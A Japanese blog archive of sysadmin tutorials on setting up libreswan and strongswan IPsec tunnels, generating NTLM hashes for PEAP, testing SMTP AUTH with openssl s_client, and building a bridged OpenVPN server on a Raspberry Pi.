セキュリティ」カテゴリーアーカイブ

X.509 証明書による IPsec 認証 (libreswan)

libreswan を使って、IPsec の X.509 証明書認証を検証する。

検証環境は前回記事と同様で、以下の図の通りである。

vpn1、vpn2、host1、host2、router1 OS は全て Ubuntu 18.04 である。

1. 証明書の用意

libreswan で証明書を扱う場合、NSS Tools の流儀に従って管理しなければならない。strongswan のようにファイルベースでの証明書管理はできないようなので、少し不便である。

vpn1 側の NSS Tools でオレオレ CA を作って、vpn1・vpn2 両方の証明書をここで作成することにする。あとでエクスポートして vpn2 へ持っていく。

1.1 初期化

最初に、NSS ライブラリの証明書ストアを両サーバで初期化する。Ubuntu の場合は標準のパスが /var/lib/ipsec/nss になっている。

user@vpn1:~$ sudo rm -f /var/lib/ipsec/nss/*.db
user@vpn1:~$ sudo ipsec initnss
user@vpn2:~$ sudo rm -f /var/lib/ipsec/nss/*.db
user@vpn2:~$ sudo ipsec initnss

1.2 CA鍵・証明書の作成

次に、vpn1 上で CA 鍵と証明書のセットを作成する。以下のように certutil コマンドを使用する。

user@vpn1:~$ sudo certutil -S -k rsa -n ca -s "CN=ca.example.com" -v 120 -t "CT,C,C" -x -d sql:/var/lib/ipsec/nss

A random seed must be generated that will be used in the
creation of your key. One of the easiest ways to create a
random seed is to use the timing of keystrokes on a keyboard.


To begin, type keys on the keyboard until this progress meter
is full. DO NOT USE THE AUTOREPEAT FUNCTION ON YOUR KEYBOARD!


Continue typing until the progress meter is full:

|***************************************************************|

Finished. Press enter to continue:

Generating key. This may take a few moments…

途中で、乱数の種としてキーボードからの入力を求められるので、適当にランダム入力する。

コマンドラインオプションについては、それぞれ以下のような意味がある。
-S は鍵・証明書の生成とデータベース登録を指示する。
-k は鍵のタイプを指定する。ここでは RSA を使う。
-n は、この鍵/証明書の NSS ストア内でのニックネームを指定する。
-s は、CA の CN (コモンネーム) を指定する。適当に決めてよい。
-v は、証明書の有効期限を指定する。(単位: 月)
-t "CT,C,C" は、証明書の信頼属性を指定する。
3つのフィールドの最初は SSL、2番目はメール、3番目はオブジェクト署名の用途を表す。
C は CA、T はクライアント認証証明書発行のための CA を表す。
IPsec の認証以外にこの CA を使うことがなければ、C,, だけでも良い。
-x は、自己署名証明書にすることを指定する。
-d sql:/var/lib/ipsec/nss は、証明書ストアのパスを表す。sql: を付けておかないと libreswan から利用できないので注意。

1.3 ホスト鍵・証明書の作成

次に、vpn1 のホスト鍵/証明書セットを作る。途中でキーボードからの入力を求められるのは先ほどと同様である。
user@vpn1:~$ sudo certutil -S -k rsa -c ca -n vpn1 -s "CN=vpn1.example.com" -v 60 -t "u,u,u" -d sql:/var/lib/ipsec/nss

コマンドラインオプションについては以下の通り。
-c で、先ほど作成した CA 鍵 (ニックネームが “ca”) での署名を指定する。
-n は、この鍵/証明書の NSS ストア内でのニックネームを指定する。あとでこれを利用する。
-s は、証明書の CN (コモンネーム) を指定する。ここでは vpn1 の FQDN にしておく。
-t "u,u,u" は、証明書の信頼属性を指定する。u はユーザ証明書を表す。

さらに、同じ作り方で vpn2 用の鍵・証明書を作る。同様に、ランダムキー入力が求められる。
user@vpn1:~$ sudo certutil -S -k rsa -c ca -n vpn2 -s "CN=vpn2.example.com" -v 60 -t "u,u,u" -d sql:/var/lib/ipsec/nss

ここまでで CA と vpn1 と vpn2 の 3セットの鍵・証明書が作成できた。

1.4 vpn2 用の鍵と証明書をエクスポート・インポート

vpn2 の鍵・証明書と、CA 証明書をファイルへエクスポートして、vpn2 へ持っていく。鍵を含むファイルは PEM 形式でエクスポートする方法が無いので、PKCS#12 形式でエクスポートする。
user@vpn1:~$ sudo certutil -L -n ca -a -d sql:/var/lib/ipsec/nss > ca.pem
user@vpn1:~$ sudo pk12util -n vpn2 -o vpn2.p12 -d sql:/var/lib/ipsec/nss
Enter password for PKCS12 file: password (適当に決めた PKCS#12 ファイル用パスワード)
Re-enter password: password (再度入力)
pk12util: PKCS12 EXPORT SUCCESSFUL
user@vpn1:~$ sudo chown user vpn2.p12

エクスポートしたファイルを vpn2 へネットワークコピーする。
user@vpn1:~$ scp ca.pem vpn2.p12 vpn2:
user@vpn1:~$ rm ca.pem vpn2.p12

vpn2 側でインポートする。
user@vpn2:~$ sudo certutil -A -a -i ca.pem -n ca -t 'CT,,' -d sql:/var/lib/ipsec/nss
user@vpn2:~$ sudo pk12util -i vpn2.p12 -d sql:/var/lib/ipsec/nss
Enter password for PKCS12 file: password (先ほど決めたパスワード)
pk12util: PKCS12 IMPORT SUCCESSFUL
user@vpn2:~$ rm ca.pem vpn2.p12

2. libreswan の設定

2.1 vpn1 側

vpn1 の libreswan 設定を編集する。

user@vpn1:~$ sudo vi /etc/ipsec.d/linux-to-linux.conf

conn linux-to-linux
	authby=rsasig
	auto=add
	dpdaction=clear
	leftcert=vpn1
	leftid="CN=vpn1.example.com"
	left=198.51.100.100
	leftsubnet=10.0.1.0/24
	rightid="CN=vpn2.example.com"
	right=203.0.113.100
	rightsubnet=10.0.2.0/24

leftcert に vpn1 を指定する。これは vpn1 証明書を作成した時のニックネームを指定している。

leftid、rightid は、それぞれの端点の Peer ID である。証明書の CN フィールドをダブルクォーテーションで囲って指定する。

2.2 vpn2 側

vpn2 の方も同様に設定する。

user@vpn2:~$ sudo vi /etc/ipsec.d/linux-to-linux.conf

conn linux-to-linux
	authby=rsasig
	auto=start
	dpdaction=restart
	leftcert=vpn2
	leftid="CN=vpn2.example.com"
	left=203.0.113.100
	leftsubnet=10.0.2.0/24
	rightid="CN=vpn1.example.com"
	right=198.51.100.100
	rightsubnet=10.0.1.0/24

2.3 再起動

デーモンを再起動する。
user@vpn1:~$ sudo systemctl restart ipsec
user@vpn2:~$ sudo systemctl restart ipsec

2.4 確認

接続状態を確認する。

user@vpn1:~$ sudo ip xfrm state
src 203.0.113.100 dst 198.51.100.100
        proto esp spi 0xc8f7a785 reqid 16389 mode tunnel
        replay-window 32 flag af-unspec
        auth-trunc hmac(sha1) 0xed85061c48c4fbc2dcce034191fb5a5a7c12d9e3 96
        enc cbc(aes) 0x7e39a613f56f3cb06b022561c0a8e65b
        anti-replay context: seq 0x0, oseq 0x0, bitmap 0x00000000
src 198.51.100.100 dst 203.0.113.100
        proto esp spi 0x90027aeb reqid 16389 mode tunnel
        replay-window 32 flag af-unspec
        auth-trunc hmac(sha1) 0xf3fa1c2609590b83e4c9c95b1ad38d80492f267a 96
        enc cbc(aes) 0x9e039bf741f7a4c7a9e1920d241fae65
        anti-replay context: seq 0x0, oseq 0x0, bitmap 0x00000000

参考:
HOWTO: Using NSS with libreswan
certutilによる証明書管理 [Fedora14]

Linux サーバ間 IPsec 接続 (libreswan)

Linux サーバ同士の間で libreswan を使って IPsec を接続してみる。strongswan を使ったやり方は別記事にて。

I. 前提

環境は以下の通り。

vpn1、vpn2、host1、host2、router1 OSは全てUbuntu 18.04である。

vpn1←→vpn2の間で、libreswanでトンネルモードIPsec接続をする。10.0.1.0/24 から 10.0.2.0/24 へのパケット、またその逆方向のパケットはトンネルへ入るようにする。つまり、例えばhost1からhost2へpingを打つとトンネルを通ることになる。10.0.1.0/24や10.0.2.0/24へのスタティックルートはrouter1に追加しないようにしておくので、VPNトンネルが出来なければhost1からhost2へのpingは到達できない。

vpn2側に自動接続開始の設定を入れることで、VPNトンネルを自動的に張ることにする。

II. 設定

以下、設定を記述する(IPアドレス設定など基本的なところは省略)

1. router1 の設定:

通過パケットを転送できるように、カーネルパラメータを変更する。
user@router1:~$ sudo vi /etc/sysctl.conf

net.ipv4.ip_forward=1  #28行目のコメントを外す

上記カーネルパラメータを有効化する。
user@router1:~$ sudo sysctl -p /etc/sysctl.conf

2. vpn1の設定:

libreswan をインストールする。このネットワーク構成ではインターネットからの apt install 不可なので、インターネット接続可能なネットワークに一時的に接続しておく。
user@vpn1:~$ sudo apt install libreswan

インストールが終わったら、ネットワーク構成を検証用の構成に戻す。以下のように netplan 設定ファイルを編集する。
user@vpn1:~$ vi /etc/netplan/50-cloud-init.yaml

network:
    version: 2
    ethernets:
        ens160:
            addresses: [198.51.100.100/24]
            gateway4: 198.51.100.1
        ens192:
            addresses: [10.0.1.1/24]

編集したら適用する。
user@vpn1:~$ sudo netplan apply

カーネルパラメータを設定する。
user@vpn1:~$ sudo vi /etc/sysctl.conf

net.ipv4.ip_forward=1  #28行目のコメントを外す

上記カーネルパラメータを有効化する。
user@vpn1:~$ sudo sysctl -p /etc/sysctl.conf

IPsecの事前共有鍵を設定する。
user@vpn1:~$ sudo vi /etc/ipsec.d/linux-to-linux.secrets

: PSK "mypresharedkey"

一般ユーザで読めないようパーミッションを変えておく。
user@vpn1:~$ sudo chmod 600 /etc/ipsec.d/linux-to-linux.secrets

IPsecの接続設定を記述する。
user@vpn1:~$ sudo vi /etc/ipsec.d/linux-to-linux.conf

conn linux-to-linux
        authby=secret		# 共有鍵認証とする
        auto=add		# こちら側からはVPN接続を自動開始しない
        dpdaction=clear
        left=198.51.100.100	# 自ホストのIPアドレス
        leftsubnet=10.0.1.0/24	# 自分側のプライベートネットワーク
        right=203.0.113.100	# 対向側ホストのIPアドレス
        rightsubnet=10.0.2.0/24	# 対向側のプライベートネットワーク

デーモンを起動する。
user@vpn1:~$ sudo systemctl enable ipsec
user@vpn1:~$ sudo systemctl start ipsec

3. vpn2 の設定:

vpn1 と同様に、libreswan をインストールする。検証構成ではインターネットからの apt install 不可なのも vpn1 と同様である。一時的にインターネット接続可能なネットワークに接続しておく。
user@vpn2:~$ sudo apt install libreswan

インストールが終わったら、ネットワーク構成を検証用の構成に戻す。
user@vpn2:~$ vi /etc/netplan/50-cloud-init.yaml

network:
    version: 2
    ethernets:
        ens160:
            addresses: [203.0.113.100/24]
            gateway4: 203.0.113.1
        ens192:
            addresses: [10.0.2.1/24]

編集したら適用する。
user@vpn2:~$ sudo netplan apply

カーネルパラメータを設定する。
user@vpn2:~$ sudo vi /etc/sysctl.conf

net.ipv4.ip_forward=1  #28行目のコメントを外す

上記カーネルパラメータを有効化する。
user@vpn2:~$ sudo sysctl -p /etc/sysctl.conf

IPsec 事前共有鍵を設定する。
user@vpn2:~$ sudo vi /etc/ipsec.d/linux-to-linux.secrets

: PSK "mypresharedkey"

一般ユーザで読めないようパーミッションを変えておく。
user@vpn2:~$ sudo chmod 600 /etc/ipsec.d/linux-to-linux.secrets

IPsec の設定を記述する。right/left を vpn1 側とは入れ換える。
user@vpn2:~$ sudo vi /etc/ipsec.d/linux-to-linux.conf

conn linux-to-linux
        authby=secret
        auto=start		# こちら側から VPN 接続を自動開始する
        dpdaction=restart
        left=203.0.113.100
        leftsubnet=10.0.2.0/24
        right=198.51.100.100
        rightsubnet=10.0.1.0/24

デーモンを起動する。
user@vpn2:~$ sudo systemctl enable ipsec
user@vpn2:~$ sudo systemctl start ipsec

これで完成。

III. 確認

ipsec status コマンドで、接続状況を確認できる。

user@vpn1:~$ sudo ipsec status
(snip)
000 #3: "linux-to-linux":500 STATE_MAIN_R3 (sent MR3, ISAKMP SA established); EVENT_SA_REPLACE in 3326s; newest ISAKMP; lastdpd=-1s(seq in:0 out:0); idle; import:not set
000 #4: "linux-to-linux":500 STATE_QUICK_R2 (IPsec SA established); EVENT_SA_REPLACE in 28526s; newest IPSEC; eroute owner; isakmp#3; idle; import:not set
000 #4: "linux-to-linux" esp.a61da06f@203.0.113.100 esp.53ec235d@198.51.100.100 ref=0 refhim=0 Traffic: ESPin=0B ESPout=0B! ESPmax=4194303B

router1 で tcpdump を仕掛けておき、host1 から host2 あてに ping を打ってみる。
user@host1:~$ ping 10.0.2.100
user@router1:~$ sudo tcpdump -n -i ens192 not tcp port 22
15:27:34.103230 IP 198.51.100.100 > 203.0.113.100: ESP(spi=0xa61da06f,seq=0x1), length 132
15:27:34.103475 IP 203.0.113.100 > 198.51.100.100: ESP(spi=0x53ec235d,seq=0x1), length 132
15:27:35.131026 IP 198.51.100.100 > 203.0.113.100: ESP(spi=0xa61da06f,seq=0x2), length 132
15:27:35.131271 IP 203.0.113.100 > 198.51.100.100: ESP(spi=0x53ec235d,seq=0x2), length 132

ESPにカプセル化されてパケットが通過していることが確認できた。

※パケットがトンネルに入るか入らないかは、IP ルーティングではなく xfrm ポリシーによって決まっている。
ip xfrm policy コマンドで確認できる。

user@vpn1:~$ sudo ip xfrm policy
src 10.0.1.0/24 dst 10.0.2.0/24
        dir out priority 2344
        tmpl src 198.51.100.100 dst 203.0.113.100
                proto esp reqid 16389 mode tunnel
src 10.0.2.0/24 dst 10.0.1.0/24
        dir fwd priority 2344
        tmpl src 203.0.113.100 dst 198.51.100.100
                proto esp reqid 16389 mode tunnel
src 10.0.2.0/24 dst 10.0.1.0/24
        dir in priority 2344
        tmpl src 203.0.113.100 dst 198.51.100.100
                proto esp reqid 16389 mode tunnel
(snip)

LM ハッシュパスワードと NTLM ハッシュパスワードの生成

現代において、NTLM ハッシュや LM ハッシュを使うこともそうそうないのだが、無線 LAN の PEAP 認証で mschap を利用する場合は必要となるので、手動生成する方法を調べてみた。

ハッシュの作り方説明は、Wikipedia の該当ページにある。

NTLM ハッシュについては、シェルスクリプトのワンライナーでも生成できる。
$ printf "pass_string" | iconv -f utf-8 -t utf-16le | openssl md4 | awk '{print $2}' | tr '[a-z]' '[A-Z]'

LM ハッシュの方はもう少し手順が面倒くさいので、ワンライナーでは無理な感じだ。車輪の再発明は避けて、既存のコードをもらってくることにする。

php によるコード
C によるコード (mkntpwdコマンド)
あたりをもらってくると良い。

また FreeRADIUS がインストールしてあれば、付属の smbencrypt コマンドが使えるはず。

openssl s_client で SMTP STARTTLS と SMTP AUTH を動作確認する

概要: openssl s_client コマンドについて

telnet コマンドで HTTP や SMTP、POP の接続テストを行うことがあるが、同様に openssl の s_client サブコマンドで、TLS 接続の手動確認をすることが可能だ。例えば、HTTPS の確認は以下のように実行できる。

$ openssl s_client -connect www.example.com:443
(中略)
GET / HTTP/1.0(Enter)
Host: www.example.com(Enter2回押す)

さらに、最初は平文接続して、アプリケーションプロトコル上の STARTTLS コマンドで TLS 状態に入りたい場合もある。SMTP、IMAP、LDAP、FTP などの STARTTLS が相当する。これも s_client サブコマンドの -starttls オプションで実現できる。

mail.example.com サーバの TCPポート 587 (SMTP Submission) で SMTP STARTTLS が使える場合、以下のコマンドで接続が可能となる。-starttls オプションの引数に、smtp をとる。

$ openssl s_client -connect mail.example.com:587 -starttls smtp

ただし、SMTP セッションの中で RCPT TO: を大文字で打った瞬間に、RENEGOTIATING という表示とともに先へ進めなくなってしまうので注意が必要である。

$ openssl s_client -connect mail.example.com:587 -starttls smtp
CONNECTED(00000003)
depth=2 C = JP, O = "SECOM Trust Systems CO.,LTD.", OU = Security Communication RootCA2
verify return:1
depth=1 C = JP, L = Academe, O = National Institute of Informatics, CN = NII Open Domain CA - G4
verify return:1
depth=0 C = JP, L = Academe, O = Example, OU = Example Dept, CN = mail.example.com
verify return:1
(中略)
250 DSN
EHLO mail.example.com
250-mail.example.com
250-PIPELINING
250-SIZE 52428800
250-ETRN
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM: test@example.com
250 2.1.0 Ok
RCPT TO: test@example.jp
RENEGOTIATING
depth=2 C = JP, O = "SECOM Trust Systems CO.,LTD.", OU = Security Communication RootCA2
verify return:1
depth=1 C = JP, L = Academe, O = National Institute of Informatics, CN = NII Open Domain CA - G4
verify return:1
depth=0 C = JP, L = Academe, O = Example, OU = Example Dept, CN = mail.example.com
verify return:1

標準入力の一文字目が大文字の「R」になっていると、openssl s_client の TLS 再ネゴシエーションコマンドとして解釈されてしまうためである。

再ネゴシエーションを回避するには、先頭の r を小文字で打つか、openssl s_client のオプションとして -ign_eof または -quiet を追加する。

$ openssl s_client -quiet -connect mail.example.com:587 -starttls smtp

SMTP AUTH のテスト

上記の openssl s_client コマンドを用いて、SMTP のセッションを手打ちで再現テストする。さらに SMTP セッションの中で、SMTP AUTH のテストも組み込んでみる。

実行例1: AUTH PLAIN 認証

SMTP AUTH の PLAIN コマンドで必要な文字列は、「ユーザ名\0ユーザ名\0パスワード」(\0はヌル文字)という合成文字列を BASE64 エンコードしたものである。あらかじめ文字列を作っておく。

$ printf 'username\0username\0password' | base64
dXNlcm5hbWUAdXNlcm5hbWUAcGFzc3dvcmQ=

さきほどのエンコード文字列を AUTH PLAIN の引数として与える。

$ openssl s_client -quiet -connect mail.example.com:587 -starttls smtp
depth=2 C = JP, O = "SECOM Trust Systems CO.,LTD.", OU = Security Communication RootCA2
verify return:1
depth=1 C = JP, L = Academe, O = National Institute of Informatics, CN = NII Open Domain CA - G4
verify return:1
depth=0 C = JP, L = Academe, O = Example, OU = Example Dept, CN = mail.example.com
verify return:1
250 DSN
EHLO mail.example.com
250-mail.example.com
250-PIPELINING
250-SIZE 10485760
250-ETRN
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
AUTH PLAIN dXNlcm5hbWUAdXNlcm5hbWUAcGFzc3dvcmQ=
235 2.7.0 Authentication successful ←認証成功
MAIL FROM: test@example.com
250 2.1.0 Ok
RCPT TO: test@example.jp
250 2.1.5 Ok ←メールリレー成功
QUIT
221 2.0.0 Bye

実行例2: AUTH LOGIN 認証

AUTH LOGIN コマンドでは、ユーザ名とパスワードをそれぞれ BASE64 エンコードした文字列が必要になる。

$ printf 'username' | base64
dXNlcm5hbWU=
$ printf 'password' | base64
cGFzc3dvcmQ=

サーバからの 334 VXNlcm5hbWU6 に対してはユーザ名のエンコード文字列を、334 UGFzc3dvcmQ6 に対してはパスワードのエンコード文字列を入力する。

$ openssl s_client -quiet -connect mail.example.com:587 -starttls smtp
depth=2 C = JP, O = "SECOM Trust Systems CO.,LTD.", OU = Security Communication RootCA2
verify return:1
depth=1 C = JP, L = Academe, O = National Institute of Informatics, CN = NII Open Domain CA - G4
verify return:1
depth=0 C = JP, L = Academe, O = Example, OU = Example Dept, CN = mail.example.com
verify return:1
250 DSN
EHLO mail.example.com
250-mail.example.com
250-PIPELINING
250-SIZE 10485760
250-ETRN
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
AUTH LOGIN
334 VXNlcm5hbWU6 ←"Username:" が BASE64 エンコードされている
dXNlcm5hbWU=
334 UGFzc3dvcmQ6 ←"Password:" が BASE64 エンコードされている
cGFzc3dvcmQ=
235 2.7.0 Authentication successful ←認証成功
MAIL FROM: test@example.com
250 2.1.0 Ok
RCPT TO: test@example.jp
250 2.1.5 Ok ←メールリレー成功
QUIT
221 2.0.0 Bye

参考URL:

Linux 同士の IPv6 IPsec 接続

個人的なことだが、自宅のフレッツ回線とプロバイダがIPv6ネイティブ方式 (IPoE) に対応したため、自宅内のノードに IPv6 グローバルアドレスを割り当てられるようになった。

これを利用して、自分で借りた「さくらの VPS」(こちらも IPv6 グローバルアドレスが付与される)と自宅内サーバの間に IPv6 IPsecトンネルを作成してみる。

前提環境:
・自宅サーバ: Raspbian 9.4 + strongswan
・VPS: CentOS 7.5 + strongswan
・認証方式: X.509 証明書

ネットワーク構成図

1. 証明書の作成

myserver1 上に CA のためのディレクトリと設定を準備する。
user@myserver1:~$ sudo mkdir /etc/ssl/CA
user@myserver1:~$ sudo mkdir /etc/ssl/newcerts
user@myserver1:~$ sudo sh -c "echo '01' > /etc/ssl/CA/serial"
user@myserver1:~$ sudo sh -c "echo '01' > /etc/ssl/CA/crlnumber"
user@myserver1:~$ sudo touch /etc/ssl/CA/index.txt
user@myserver1:~$ sudo vi /etc/ssl/openssl.cnf

/etc/ssl/openssl.cnfの抜粋:

dir		= /etc/ssl		# Where everything is kept
database	= $dir/CA/index.txt	# database index file.
certificate	= $dir/certs/ca1.crt 	# The CA certificate
serial		= $dir/CA/serial 		# The current serial number
crlnumber	= $dir/CA/crlnumber # the current crl number
                    # must be commented out to leave a V1 CRL
crl     = $dir/crl/crl.pem
private_key	= $dir/private/ca1.key

CA 鍵・証明書を作成する。
user@myserver1:~$ sudo openssl req -new -x509 -extensions v3_ca -keyout /etc/ssl/private/ca1.key -out /etc/ssl/certs/ca1.crt -days 3652
(snip)
Country Name (2 letter code) [AU]:JP
State or Province Name (full name) [Some-State]:Aichi
Locality Name (eg, city) []:Nagoya
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Home
Organizational Unit Name (eg, section) []:CA
Common Name (e.g. server FQDN or YOUR name) []:ca1.home.example.com
Email Address []:

myserver1 の秘密鍵を作成する。
user@myserver1:~$ openssl genrsa -aes256 -out /etc/ssl/private/myserver1.key 2048
Enter pass phrase for myserver1.key:********
(後でパスワードを削除するので、パスワードはここでは適当に決める)
Verifying - Enter pass phrase for myserver1.key:********

秘密鍵ファイルのパスワードを削除しておく。
user@myserver1:~$ openssl rsa -in /etc/ssl/private/myserver1.key -out /etc/ssl/private/myserver1.key
Enter pass phrase for myserver1.key:********
writing RSA key

myserver1 の CSR を作成する。
user@myserver1:~$ openssl req -new -days 1826 -key /etc/ssl/private/myserver1.key -out /etc/ssl/cert/myserver1.csr
(snip)
Country Name (2 letter code) [AU]:JP
State or Province Name (full name) [Some-State]:Aichi
Locality Name (eg, city) []:Nagoya
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Home
Organizational Unit Name (eg, section) []:Server
Common Name (e.g. server FQDN or YOUR name) []:myserver1.home.example.com
Email Address []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

CA 鍵を使って CSR に署名する。
user@myserver1:~$ sudo openssl ca -in /etc/ssl/cert/myserver1.csr -config /etc/ssl/openssl.cnf
Enter pass phrase for /etc/ssl/private/ca.key:********
(snip)
Sign the certificate? [y/n]:y
1 out of 1 certificate requests certified, commit? [y/n]y
(snip)
Data Base Updated

CA 証明書とホスト証明書・鍵を strongswan 用に配置する。
user@myserver1:~$ sudo cp /etc/ssl/certs/ca1.crt /etc/ipsec.d/cacerts/
user@myserver1:~$ sudo cp /etc/ssl/newcerts/01.pem /etc/ipsec.d/certs/myserver1.crt
user@myserver1:~$ sudo cp /etc/ssl/private/myserver1.key /etc/ipsec.d/private/

myvps1 用の証明書も同様に作成する。
user@myserver1:~$ openssl genrsa -aes256 -out /etc/ssl/private/myvps1.key 2048
user@myserver1:~$ openssl rsa -in /etc/ssl/private/myvps1.key -out /etc/ssl/private/myvps1.key
user@myserver1:~$ openssl req -new -days 1826 -key /etc/ssl/private/myvps1.key -out /etc/ssl/cert/myvps1.csr
user@myserver1:~$ sudo openssl ca -in /etc/ssl/cert/myvps1.csr -config /etc/ssl/openssl.cnf

いま作成した myvps1 用のホスト証明書・鍵、CA証明書を myvps1 側にコピーする。
user@myserver1:~$ cp /etc/ssl/certs/ca1.crt .
user@myserver1:~$ cp /etc/ssl/newcerts/02.pem ./myvps1.crt
user@myserver1:~$ sudo cp /etc/ssl/private/myvps1.key .
user@myserver1:~$ sudo chown user myvps1.key
user@myserver1:~$ scp ca1.crt myvps1.crt myvps1.key myvps1:

myvps1 上で証明書・鍵を配置する。
[user@myvps1 ~]$ sudo cp ca1.crt /etc/strongswan/ipsec.d/cacerts/
[user@myvps1 ~]$ sudo cp myvps1.crt /etc/strongswan/ipsec.d/certs/
[user@myvps1 ~]$ sudo cp myvps1.key /etc/strongswan/ipsec.d/private/

作業用ファイルを削除する。
[user@myvps1 ~]$ rm ca1.crt myvps1.crt myvps1.key
user@myserver1:~$ rm ca1.crt myvps1.crt myvps1.key

2. VPS 側の IPsec 設定

strongswan をインストールする。
[user@myvps1 ~]$ sudo yum install epel-release
[user@myvps1 ~]$ sudo yum install strongswan

カーネルモジュールをロードする。
strongswan公式ドキュメントを参照して、必要なモジュールがロードされていない場合は手動でロードする。
[user@myvps1 ~]$ sudo modprobe xfrm6_tunnel

設定ファイルを編集する。
[user@myvps1 ~]$ vi /etc/strongswan/ipsec.conf

conn myhome-to-vps6
        authby=rsasig
        auto=add
        closeaction=clear
        dpdaction=clear
        leftid="C=JP, ST=Aichi, O=Home, OU=Server, CN=myvps1.example.com"
        leftsubnet=2001:db8:abcd:efab:cdef:abcd:efab:cdef/128
        leftcert=myvps1.crt
        right=%any
        rightid="C=JP, ST=Aichi, O=Home, OU=Server, CN=myserver1.home.example.com"
        rightsubnet=2001:db8:1234:5678::/64
        ike=aes256-sha512-modp8192!
        esp=aes256-sha512

[user@myvps1 ~]$ sudo vi /etc/strongswan/ipsec.secrets

: RSA myvps1.key

strongswanサービス起動
[user@myvps1 ~]$ sudo systemctl enable strongswan
[user@myvps1 ~]$ sudo systemctl start strongswan

3. 自宅内サーバ側の設定

strongswanをインストールする。こちらは Raspbian なので apt コマンドで。
user@myserver1:~$ sudo apt install strongswan

必要なカーネルモジュールをロードする。
user@myserver1:~$ sudo modprobe xfrm6_tunnel
user@myserver1:~$ sudo modprobe esp6

設定ファイルを編集する。
user@myserver1:~$ sudo vi /etc/ipsec.conf

conn myhome-to-vps6
        authby=rsasig
        auto=start
        closeaction=restart
        dpdaction=restart
        leftid="C=JP, ST=Aichi, O=Home, OU=Server, CN=myserver1.home.example.com"
        leftsubnet=2001:db8:1234:5678::/64
        leftcert=myserver1.crt
        right=2001:db8:abcd:efab:cdef:abcd:efab:cdef
        rightid="C=JP, ST=Aichi, O=Home, OU=Server, CN=myvps1.example.com"
        rightsubnet=2001:db8:abcd:efab:cdef:abcd:efab:cdef/128
        ike=aes256-sha512-modp8192!
        esp=aes256-sha512

user@myserver1:~$ sudo vi /etc/ipsec.secrets

: RSA myserver1.key

strongswanサービスを起動する。
user@myserver1:~$ sudo systemctl enable strongswan
user@myserver1:~$ sudo systemctl start strongswan

Raspberry Pi で OpenVPN サーバを作成 (L2VPN編)

OpenVPN と tap インターフェイスを使って、自宅に接続できるレイヤー2 (ブリッジモード) VPNを作成する。Layer2モードだと、自宅外から VPN 接続したときに bonjour や Windows ネットワーク検索のようなサービスが、自宅内と同様に使えるのがメリット。

自宅内サーバ: Raspberry Pi 2 (Raspbian 9.x stretch)
環境は以下の図の通り。

この文書の手順以外に別途、インターネット接続ルータでサービスポートを外部公開 (スタティック NAT) しておく必要がある。

クライアント側の要件として、Apple iOS 系機器は tap デバイスに対応していないため、Layer2 VPN を利用できないので本稿のターゲットから外れる。Android 系も標準 API標準クライアントでは tap に対応していない(端末の root 権限があれば対応可能。また有料ソフトウェアの OpenVPN Client は tap に対応している)。Windows 用の OpenVPN GUI、Mac の Tunnelblick などは tap デバイスに対応している。

1. OpenVPN パッケージインストール

OpenVPN 本体と、ブリッジ設定に必要な bridge-utils をインストールする。

$ sudo apt install openvpn bridge-utils

2. Raspbian のネットワークインターフェイスを bridge 設定にする

サーバ側の eth0 デバイスを直接使わず、ブリッジデバイス br0 を使い eth0 をそのメンバーとするように設定する。OpenVPNサーバプログラムの使う tap0 デバイスも br0 のメンバーとして、ブリッジ接続できるようにする。

サーバの IP アドレスとしては、固定アドレスを設定する(自宅内のIPアドレスをルータのDHCPに任せているなら、DHCP配布範囲外のアドレスで固定する)。

マシン起動時に自動的にブリッジデバイスが有効になるよう、interfaces ファイルを編集する。

$ sudo vi /etc/network/interfaces

auto br0
iface br0 inet static
        address 192.168.100.20
        netmask 255.255.255.0
        network 192.168.100.0
        broadcast 192.168.100.255
        gateway 192.168.100.1
        dns-nameservers 192.168.100.1
        dns-search example.com
        bridge_ports eth0

もともと eth0 だったところを br0 にして、bridge_ports eth0 を追加するように編集する。

ここで一度再起動して、br0 に IP アドレスが付くことを確認する。
$ sudo shutdown -r now

起動したら IP アドレスの状況を確認する。br0 に IP アドレスが付いていれば OK。

$ ip a
1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state UNKNOWN group defaul
t qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <broadcast,multicast,up,lower_up> mtu 1500 qdisc pfifo_fast master br0
state UP group default qlen 1000
    link/ether 00:00:5e:00:53:11 brd ff:ff:ff:ff:ff:ff
3: br0: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue state UP group
default qlen 1000
    link/ether 00:00:5e:00:53:fe brd ff:ff:ff:ff:ff:ff
    inet 192.168.100.20/24 brd 192.168.100.255 scope global br0
       valid_lft forever preferred_lft forever</broadcast,multicast,up,lower_up></broadcast,multicast,up,lower_up></loopback,up,lower_up>

3. OpenVPN サーバ設定

OpenVPN サーバの設定ファイルを作成する。サンプル設定ファイルをコピーして、それをベースに編集する。

$ sudo mkdir -p /var/log/openvpn /etc/openvpn/ccd
$ sudo cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz /etc/openvpn/server/
$ sudo gzip -d /etc/openvpn/server/server.conf.gz
$ sudo mv /etc/openvpn/server/{server,udp7231}.conf
$ sudo vi /etc/openvpn/server/udp7231.conf

port 7231
proto udp
dev tap
ca ca.crt
cert server.crt
key server.key
dh dh2048.pem
server-bridge 192.168.100.0 255.255.255.0 192.168.100.192 192.168.100.223
push "dhcp-option DNS 192.168.100.1"
push "dhcp-option DOMAIN example.com"
client-to-client
keepalive 10 120
tls-auth ta.key 0
cipher AES-256-CBC
user nobody
group nogroup
persist-key
persist-tun
status /var/log/openvpn/openvpn-status.log
log-append  /var/log/openvpn/openvpn.log
verb 3
explicit-exit-notify 1
crl-verify crl.pem

dev tap 設定にするところがブリッジ方式の要になる。server-bridge 設定には、VPN クライアントに配布する IP アドレスの範囲を指定する。自宅内ルータの DHCP では、この範囲を配布対象外にしておくこと。

